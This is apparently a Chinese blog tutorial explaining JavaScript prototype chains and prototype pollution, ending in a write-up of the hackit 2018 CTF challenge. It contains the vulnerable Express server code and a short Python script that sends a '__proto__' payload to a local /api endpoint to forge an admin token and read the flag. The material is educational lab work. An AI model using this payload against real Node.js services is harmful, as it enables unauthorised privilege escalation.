网络安全-原型链污染

目录

一、简单介绍一下原型链

二、举个例子

三、那原型链污染是什么呢

[四、我们来看一道题-hackit 2018](#四、我们来看一道题-hackit 2018)

[4.1 环境](#4.1 环境)

4.2开始解题

[4.3 解答:](#4.3 解答:)


一、简单介绍一下原型链

JavaScript 常被描述为一种基于原型的语言 (prototype-based language)------每个对象拥有一个原型对象,对象以其原型为模板、从原型继承方法和属性。原型对象也可能拥有原型,并从中继承方法和属性,一层一层、以此类推。这种关系常被称为原型链 (prototype chain)。

二、举个例子

描述一下:

复制代码
function Father() {
    this.first_name = 'Donald'
    this.last_name = 'Trump'
}

function Son() {
    this.first_name = 'Melania'
}

Son.prototype = new Father()

let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)

Son类继承了Father类的last_name属性,最后输出的是Name: Melania Trump

总结一下,对于对象son,在调用son.last_name的时候,实际上JavaScript引擎会进行如下操作:

  1. 在对象son中寻找last_name

  2. 如果找不到,则在son.__proto__中寻找last_name

  3. 如果仍然找不到,则继续在son.__proto__.__proto__中寻找last_name

  4. 依次寻找,直到找到null结束。比如,Object.prototype__proto__就是null

三、那原型链污染是什么呢

foo.__proto__指向的是Foo类的prototype。那么,如果我们修改了foo.__proto__中的值,是不是就可以修改Foo类呢?

我们做一个简单的实验

复制代码
// foo是一个简单的JavaScript对象
let foo = {bar: 1}

// foo.bar 此时为1
console.log(foo.bar)

// 修改foo的原型(即Object)
foo.__proto__.bar = 2

// 由于查找顺序的原因,foo.bar仍然是1
console.log(foo.bar)

// 此时再用Object创建一个空的zoo对象
let zoo = {}

// 查看zoo.bar
console.log(zoo.bar)

结果:

原因也显而易见:因为前面我们修改了foo的原型foo.__proto__.bar = 2,而foo是一个Object类的实例,所以实际上是修改了Object这个类,给这个类增加了一个属性bar,值为2。

后来,我们又用Object类创建了一个zoo对象let zoo = {},zoo对象自然也有一个bar属性了。

那么,在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染

四、我们来看一道题-hackit 2018

4.1 环境

我们将代码复制到js文件中,随便写个js,之后在官网下载node.js

复制代码
const express = require('express')
var hbs = require('hbs');
var bodyParser = require('body-parser');
const md5 = require('md5');
var morganBody = require('morgan-body');
const app = express();
var user = []; //empty for now

var matrix = [];
for (var i = 0; i < 3; i++){
    matrix[i] = [null , null, null];
}

function draw(mat) {
    var count = 0;
    for (var i = 0; i < 3; i++){
        for (var j = 0; j < 3; j++){
            if (matrix[i][j] !== null){
                count += 1;
            }
        }
    }
    return count === 9;
}

app.use(express.static('public'));
app.use(bodyParser.json());
app.set('view engine', 'html');
morganBody(app);
app.engine('html', require('hbs').__express);

app.get('/', (req, res) => {

    for (var i = 0; i < 3; i++){
        matrix[i] = [null , null, null];

    }
    res.render('index');
})


app.get('/admin', (req, res) => { 
    /*this is under development I guess ??*/
    console.log(user.admintoken);
    if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
        res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');
    } 
    else {
        res.status(403).send('Forbidden');
    }    
}
)


app.post('/api', (req, res) => {
    var client = req.body;
    var winner = null;

    if (client.row > 3 || client.col > 3){
        client.row %= 3;
        client.col %= 3;
    }
    matrix[client.row][client.col] = client.data;
    for(var i = 0; i < 3; i++){
        if (matrix[i][0] === matrix[i][1] && matrix[i][1] === matrix[i][2] ){
            if (matrix[i][0] === 'X') {
                winner = 1;
            }
            else if(matrix[i][0] === 'O') {
                winner = 2;
            }
        }
        if (matrix[0][i] === matrix[1][i] && matrix[1][i] === matrix[2][i]){
            if (matrix[0][i] === 'X') {
                winner = 1;
            }
            else if(matrix[0][i] === 'O') {
                winner = 2;
            }
        }
    }

    if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'X'){
        winner = 1;
    }
    if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'O'){
        winner = 2;
    } 

    if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'X'){
        winner = 1;
    }
    if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'O'){
        winner = 2;
    }

    if (draw(matrix) && winner === null){
        res.send(JSON.stringify({winner: 0}))
    }
    else if (winner !== null) {
        res.send(JSON.stringify({winner: winner}))
    }
    else {
        res.send(JSON.stringify({winner: -1}))
    }

})
app.listen(3000, () => {
    console.log('app listening on port 3000!')
})

写一个相应的js拉取包,如下package.json

复制代码
{
    "name": "my-node-app",
    "version": "1.0.0",
    "description": "A simple Node.js app for tic-tac-toe game with express, hbs, and md5.",
    "main": "app.js",
    "scripts": {
      "start": "node app.js"
    },
    "dependencies": {
      "body-parser": "^1.20.2",
      "express": "^4.18.2",
      "hbs": "^4.2.0",
      "md5": "^2.3.0",
      "morgan-body": "^2.6.9"
    },
    "author": "",
    "license": "ISC"
  }

之后换源为淘宝源后拉取相应的npm包

之后启动它就会自己监听到3000端口了

4.2开始解题

它定义了一个空数组然后给了三个null

继续分析,获取flag的条件是 传入的querytoken要和user数组本身的admintoken的MD5值相等,且二者都要存在 ,三个条件不符合的情况下就会给你返回一个Forbidden

解决方法:如果还有一个数组可以在admintoken值之前修改它祖先的值,而这个user没有值,但是它可以往上找,使得admintoken有值,自然就造成了原型链污染

那我们就需要去找用户可控的点,那找到了body,row,col,如何利用?

使用方法就是data得有值,而我们通过定位metrix发现它也是一个数组,user也是一个数组,那很明显在metrix上定义的原型链,user肯定可以找到,那现在如何在原型链定义

下面我们先本地测试一下:很明显我们将第一个属性放到row=proto,第二个属性col=admintoken,约等于我们没用点去取,而是用了数组

4.3 解答:

复制代码
import requests
import json

url1 = "http://127.0.0.1:3000/api"
url2 = "http://127.0.0.1:3000/admin?querytoken=a3c23537bfc1e2da4a511661547d65fb"

s = requests.session()

headers = {"Content-Type": "application/json"}
data1 = {"row":"__proto__","col":"admintoken","data":"sunsec"}

res1 = s.post(url1, headers=headers, data=json.dumps(data1))
res2 = s.get(url2)

print(res2.text)
相关推荐
希冀1233 天前
【JavaScript】Javascript—JS进阶—Day03
开发语言·javascript·原型模式
想吃火锅100522 天前
【前端手撕】instanceof
前端·javascript·原型模式
UXbot22 天前
帮助企业低门槛开展AI应用开发的平台推荐
前端·低代码·ui·交互·产品经理·原型模式·web app
UXbot23 天前
如何选择适合公司项目的UI设计工具?企业选型指南
前端·低代码·ui·团队开发·原型模式·设计规范·web app
UXbot23 天前
原型设计工具如何帮助新人快速进入产品行业?
前端·低代码·ui·交互·团队开发·原型模式·web app
sunny.day1 个月前
js原型与原型链
开发语言·javascript·原型模式·js原型链
UXbot1 个月前
AI网页开发工具能替代工具吗?5大平台对比
前端·人工智能·低代码·ui·原型模式·web app
weixin_307779131 个月前
从“大海捞针”到“主动推理”:AI如何重塑云原生故障诊断的根因链
开发语言·人工智能·算法·自动化·原型模式
swordbob1 个月前
prototype 注入到 singleton 里,prototype是否还是线程安全的
安全·spring·单例模式·原型模式
isNotNullX1 个月前
企业数据中台建设,ETL工具选错了会踩哪些坑?
数据仓库·etl·原型模式